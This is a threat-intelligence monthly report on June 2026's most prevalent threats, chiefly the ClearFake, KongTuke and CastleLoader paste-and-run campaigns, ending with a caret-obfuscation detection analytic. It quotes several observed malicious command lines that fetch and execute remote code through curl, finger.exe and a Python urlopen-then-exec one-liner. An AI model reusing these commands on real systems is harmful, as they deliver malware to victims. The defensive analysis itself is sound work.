Highlights from June
ClearFake takes the top spot in this month’s top 10 most prevalent threat list, remaining in 1st for the third month in a row. It’s an activity cluster that uses JavaScript injected into compromised websites to deliver malware via drive-by download techniques, often using fake CAPTCHA lures to trick users into executing code via malicious copy and paste (aka paste and run, ClickFix, fakeCAPTCHA).
Returning to the top 10 in 2nd is KongTuke, a traffic distribution system (TDS) first observed in 2024 that uses compromised WordPress sites to deploy malicious code that may lead to malware. While we’ve observed it consistently in 2026, June marks a significant increase in activity. The last time we observed KongTuke activity at a similar volume was in November 2025. Researchers have reported several KongTuke-distributed campaigns in 2026, many leveraging paste and run. In June, we observed KongTuke attempting to use paste and run for initial execution, typically reaching out to a .top domain with an obfuscated command using curl, for example:
/c start "" /min cmd /v:on /k "set x=where c*u*r*l.e?e&set y=where p*ell.exe&for /f %i in ('where c*d.e?e')do %i /c "for /f %k in ('!x!')do %k h^t^t^p^s^:^/^/^c^a^p^t^c^h^a^-^c^h^e^c^k^p^o^i^n^t^[.]^t^o^p^/o^|for /f %j in ('!y!')do %j -WindowStyle Hidden"
CastleLoader makes its debut on the list in 5th. CastleLoader (aka CastleBot) is a malware loader that can deliver various payloads, including NetSupport Manager, CastleRAT, and an unnamed .NET-based information stealer. NetSupport Manager made this month’s top 10 list in a tie for 7th due to its use as a CastleLoader payload in June 2026. You can read more about CastleLoader below.
This month’s top 10 threats
To track pervasiveness over time, we identify the number of unique customer environments in which we observed a given threat and compare it to what we’ve seen in previous months.
Here’s how the numbers shook out for June 2026:
| Month's rank | Threat name | Threat description |
|---|---|---|
| Month's rank: ⮕ 1 | Threat name: | Threat description : Activity cluster that uses JavaScript injected into compromised websites to deliver malware via drive-by download techniques, often using fake CAPTCHA lures to trick users into executing code via malicious copy and paste |
| Month's rank: ⬆ 2 | Threat name: | Threat description : Traffic distribution system (TDS) first observed in 2024 that uses compromised WordPress sites to deploy malicious code that may lead to malware |
| Month's rank: ⬆ 3* | Threat name: | Threat description : Red Canary's name for an activity cluster that uses compromised web sites to trick users into executing malicious code |
| Month's rank: ⬆ 3* | Threat name: | Threat description : Legitimate ConnectWise product that administrators use and adversaries abuse to remotely access and manage devices |
| Month's rank: ⬆ 5 | Threat name: CastleLoader | Threat description : Malware loader that has delivered various payloads, including NetSupport Manager RAT, CastleRAT, and an unidentified .NET-based information stealer |
| Month's rank: ⬆ 6 | Threat name: | Threat description : Information stealer designed to target data within web browsers and locally stored files on macOS systems, with the goal of accessing sensitive information including credentials, payment card data, keychain details, and cryptocurrency wallets |
| Month's rank: ⮕ 7* | Threat name: | Threat description : Malware-as-a-Service (MaaS) information stealer written in C++ that has been active since 2024 |
| Month's rank: ⬇ 7* | Threat name: | Threat description : macOS threat designed with the goal of accessing sensitive information including credentials, payment card data, keychain details, and cryptocurrency wallets |
| Month's rank: ⬇ 7* | Threat name: | Threat description : Legitimate remote access tool (RAT) that can be used as a trojan by adversaries to remotely control victim endpoints for unauthorized access |
| Month's rank: ⬇ 7* | Threat name: | Threat description : Malware used to steal credentials and other data |
⬆ = trending up from previous month
⬇= trending down from previous month
➡ = no change in rank from previous month
*Denotes a tie
Storming the CastleLoader
CastleLoader, a malware loader capable of delivering payloads including infostealers and RATs, has been active since early 2025 and is frequently distributed via paste and run campaigns. In April 2026, a campaign dubbed BackgroundFix lured users to visit fake background removal websites like ai-scan[.]digital and bg-transparency[.]online. The sites presented a non-functional UI with upload progress bars and prompted users to complete a fake CAPTCHA verification, copying malicious commands to the victim’s clipboard if successfully completed.
Image of BackgroundFix fake removal website and fake CAPTCHA, from Huntress
CastleLoader has also been distributed through job platform impersonation campaigns targeting LinkedIn and Indeed users. Typosquatted domains like linkedall[.]org, golinked[.]net, and indeed-jobs[.]net used Google Ads for distribution. If navigated to, users encountered fake Cloudflare Turnstile CAPTCHA pages that triggered the paste and run infection chain.
The paste and run initial execution we observed frequently used caret-obfuscated commands with finger.exe, for example:
%COMSPEC% /k s^t^a^r^t "" /min for /f "skip=8 delims=" %h in ('f^^i^^n^^g^^e^^r nrLeDHDESi@cheeshomireciple[.]com') do call %h & exit
After successful paste and run command execution, finger.exe retrieved batch commands from adversary-controlled servers. One command subsequently downloaded portable Python distributions disguised as PDF files and extracted them using tar.exe. This is a Bring-Your-Own-Interpreter (BYOI) technique, in which the adversary bundles a legitimate Python interpreter—either CPython from python[.]org or IronPython from GitHub releases—to avoid relying on software installed on the victim machine. The Python interpreter was renamed to a random 12 to 18-digit filename before execution, for example: C:\users\<usr>\appdata\local\ironpython.3.4.2\net462\8780254714083.exe.
Another batch command retrieved by finger.exe ran a Base64-encoded, zlib-compressed Python script to retrieve a Python-based shellcode loader from adversary-controlled resources. The shellcode loader used triple-layer encoding (Base64, zlib, UTF-32) and Cyrillic character substitution for obfuscation and fetched an RC4-encrypted payload. This payload contained the CastleLoader binary:
"C:\Users\<usr>\AppData\Local\python-3.7.7.1-embed-win32\\\\///////\\\\///////\\\\///////python" -c "import sys,subprocess as s,base64 as b,zlib as z;s.Popen([sys.executable,'-c',z.decompress(b.b64decode('eJydk8FKA0EQ...kb8B3z3XZ8=')).decode('utf-32')],creationflags=s.CREATE_NO_WINDOW)""python.exe" -c "#88dbEhjQbOqGRCdQyp8\nimport ssl\nimport time\nimport urllib.request\nssl._create_default_https_context = ssl._create_unverified_context\nc = urllib.request.urlopen('hxxps://mirtona[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/loc12').read().decode('utf-8')\ntime.sleep(2.1)\nexec(c)"
Command lines observed when the zlib-compressed Python script reaches out to retrieve the triple-encoded shellcode loader
If successful, the decrypted CastleLoader binary is injected into python.exe using process injection via a shellcode-based loader. The infected process then reaches out to command and control (C2) servers for additional configuration, tasking, and payloads. CastleLoader supports 14 launch methods for executing payloads, including ShellExecuteW, WinExec, CreateProcessW, rundll32.exe, cmd.exe, powershell.exe, and msiexec.exe. It uses anti-analysis techniques, including cpuid instructions to detect VMware, VirtualBox, and Parallels virtual environments. It can also capture screenshots of the desktop via the GDI BitBlt pipeline.
The use of carets to attempt to obfuscate the initial execution commands seen in recent CastleLoader campaigns gives us a detection opportunity.
Detection opportunity: Command processor using up caret (^) multiple times to obfuscate a CLI string
This pseudo-detection analytic identifies the command processor using the up caret (^) multiple times to obfuscate a CLI string. Malicious copy and paste commands, including those leveraged to distribute CastleLoader, will often use several carets ^ to break up keywords. Examples include mshta vs ^m^s^h^t^a^ or finger vs f^^i^^n^^g^^e^^r. Note that some legitimate command lines will use the ^ character to escape special characters, so you may need exclusions to reduce noise.
process ==(cmd.exe)
&&
command_includes ('^+[a-z]'{4,})

